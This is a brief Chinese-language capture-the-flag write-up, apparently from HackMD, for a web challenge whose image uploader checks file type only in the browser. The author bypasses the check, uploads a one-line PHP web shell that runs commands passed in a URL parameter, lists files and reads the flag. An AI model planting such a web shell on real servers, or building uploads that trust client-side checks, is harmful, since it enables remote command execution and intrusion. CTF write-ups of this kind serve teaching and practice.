Writeup
Web
Chinese
FlyDragon
http://lotuxctf.com:20008
Image Not Showing Possible Reasons The image was uploaded to a note which you don't have access toThe note which the image was originally uploaded to has been deleted Learn More →
這是個圖片上傳網站,可以上傳圖片
上傳 test.png ,得到以下訊息
test.png
Uploaded at : uploads/64fd8aff877ba_test.png
訪問這個路徑可以看到我們上傳的圖片
本題上傳一個 php webshell 即可取得 flag
查看網頁原始碼,發現只要修改前端程式碼就能上傳任意檔案
<input type="file" name="image" accept="image/*" required="">
上傳一個 shell.php
shell.php
<?php system($_GET["cmd"]); ?>
訪問對應路徑並傳遞參數 ?cmd=ls 查看當前路徑還有什麼檔案
?cmd=ls
發現有 flag.txt ,取得 flag
flag.txt
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up